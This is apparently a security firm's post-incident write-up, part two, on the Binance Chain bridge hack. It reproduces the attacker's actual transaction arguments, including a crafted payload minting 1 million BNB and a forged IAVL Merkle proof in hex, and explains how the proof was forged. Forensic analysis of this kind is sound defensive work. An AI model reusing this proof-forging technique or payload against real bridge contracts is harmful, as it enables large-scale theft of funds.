Binance Chain Bridge Exploitation Writeup - Part 2

This is the second part of our analysis on Binance Chain's bridge hack, focus on hacker transactions and exploitation payloads.

by Verichains Team 

This is the second part of our analysis on Binance Chain’s bridge hack, focus on hacker transactions and exploitation payloads. This analysis also answers @samczsun's questions in his early tweets, in which he wondered how the attacker's payload was much shorter than his me.

Binance Chain Bridge Exploitation Writeup - Part 1

Transaction details

The hacker transaction is at https://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b. Decoding the transaction data, we got the following arguments that will be passed to the function handlePackage of CrossChain.sol smart contract (link):

0	payload	bytes	0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100
1	proof	bytes	0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143
2	height	uint64	110217401
3	packageSequence	uint64	17684572
4	channelId	uint8	2

Where:

• payload contains information about the cross-chain transfer (of course it did not actually happen) including BSC recipient address and token amount which the attacker has set to his/her own address and 1 million BNB respectively.

• proof is an IAVL/Merkle proof that asserts the integrity of payload.

• height is (at least) the BC (not BSC) block height at which the transfer occurred. The appHash of BC corresponding to height will be retrieved for verifying proof.

• packageSequence acts like a TCP sequence number to assure that packages relayed to BSC can not be replayed and arrive in order.

• channelId is routing information that is used to select the next appropriate contract to handle the package payload after its verification succeeds. Here, channelId == 2 indicates a cross-transfer (BC to BSC) package which should be handled by the TokenHub.sol contract (link).

The way BC to BSC cross-chain communication works is that every-time a package needs to be sent to BSC, a key will be constructed from packageSequence and channelId, and its associated value, which is essentially the package payload, will be stored in the verifiable key-value store of BC and thus, updating BC appHash. Later on, the package is relayed to BSC together with proof that proves the correctness of the corresponding key-value pair in BC store. This is basically the light-client technique for cross-chain communication.

Next, we will analyze proof.

Proof details

proof essentially contains 2 parts.

The first part regards to the multistore architecture of BC. Basically, BC appHash is the hash of all its sub-store root hashes, including the one named ibc (short for Inter-Blockchain Communication) in which the key-value pair mentioned earlier is actually stored. proof carries all the sub-store hashes so ibc root hash could be verified against appHash. Compared with a valid proof, the attacker did not change this part.

First part of proof

The second part is about proving that a leaf containing key-value does actually exist in ibc IAVL tree given its root hash. The technique used to forge this part has been described earlier. Please notice that both Left and Right fields of Proof.LeftPath[1] are filled:

Second part of proof

Based on LeftPath, we deduce that the ibc tree snapshot at BC block height 110217401 looks like this:

ibc IAVL tree at BC height 110217401

And the malicious second part is as follows:

Malicious IAVL range proof for proving the correctness of package with sequence number 17684572

So, the BC block height 110217401 chosen by the attacker is likely for minimizing the proof size as the ibc tree at that time had only a few nodes. Maybe it helped reduce some gas cost when submitting the malicious transaction, or the attacker just prefers a concise proof over longer ones.

This analysis also answers @samczsun's questions in his early tweets, in which he wondered how the attacker's payload was much shorter. As long as the IAVL tree contains at least 2 leafs, the attack is already feasible. Therefore, the proof could be made short, and the attacker chose to do so.